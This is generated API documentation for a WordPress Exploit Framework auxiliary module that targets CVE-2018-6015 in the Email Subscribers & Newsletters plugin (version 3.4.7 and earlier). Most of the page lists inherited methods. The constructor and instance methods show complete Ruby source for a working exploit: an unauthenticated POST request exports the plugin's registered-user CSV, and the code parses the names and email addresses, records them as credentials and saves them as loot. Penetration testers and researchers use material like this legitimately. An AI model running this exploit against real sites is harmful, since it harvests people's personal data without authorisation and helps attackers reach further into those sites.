Class: Wpxf::Auxiliary::EmailSubscribersUserListDisclosure

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Helpers::Export
Defined in:
lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Helpers::Export

#export_and_log_loot, #export_path, #generate_unique_filename, #register_export_path_option

Methods included from Db::Loot

#store_loot

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ EmailSubscribersUserListDisclosure

Returns a new instance of EmailSubscribersUserListDisclosure.



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# File 'lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb', line 9

def initialize
  super

  update_info(
    name: 'Email Subscribers & Newsletters <= 3.4.7 User List Disclosure',
    desc: %(
      This module exploits a vulnerability in Email Subscribers & Newsletters
      which allows anonymous users to download a list of the registered users
      and the associated e-mail addresses.
    ),
    author: [
      'Threat Press', # Disclosure
      'rastating'     # WPXF module
    ],
    references: [
      ['WPVDB', '9014'],
      ['CVE', '2018-6015'],
      ['URL', 'https://blog.threatpress.com/vulnerability-email-subscribers-plugin/']
    ],
    date: 'Jan 24 2018'
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb', line 32

def check
  check_plugin_version_from_readme('email-subscribers', '3.4.8')
end

#parse_csv(body, delimiter) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb', line 63

def parse_csv(body, delimiter)
  @users = [{
    username: 'Username', email: 'E-mail'
  }]

  begin
    CSV::Converters[:blank_to_nil] = lambda do |field|
      field&.empty? ? nil : field
    end
    csv = CSV.new(
      body,
      col_sep: delimiter,
      headers: true,
      header_converters: :symbol,
      converters: %i[all blank_to_nil]
    )

    csv.to_a.map { |row| process_row(row) }
    emit_table @users
    return true
  rescue Error
    return false
  end
end

#process_row(row) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb', line 56

def process_row(row)
  return unless row[:name] && row[:email]
  emit_success "Found user: #{row[:name]} (#{row[:email]})", true
  store_credentials row[:name]
  @users.push(username: row[:name], email: row[:email])
end

#request_user_list ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb', line 36

def request_user_list
  res = execute_post_request(
    url: full_uri,
    params: { 'es' => 'export' },
    body: { 'option' => 'registered_user' }
  )

  if res.nil?
    emit_error 'No response from the target'
    return nil
  end

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return nil
  end

  res
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb', line 88

def run
  return false unless super

  emit_info 'Requesting the user list...'
  res = request_user_list
  return false if res.nil?

  emit_info 'Parsing result...', true
  parse_csv res.body, ','

  loot = export_and_log_loot(res.body, 'Registered users and e-mail addresses', 'user list', '.csv')
  emit_success "User list saved to #{loot.path}"

  true
end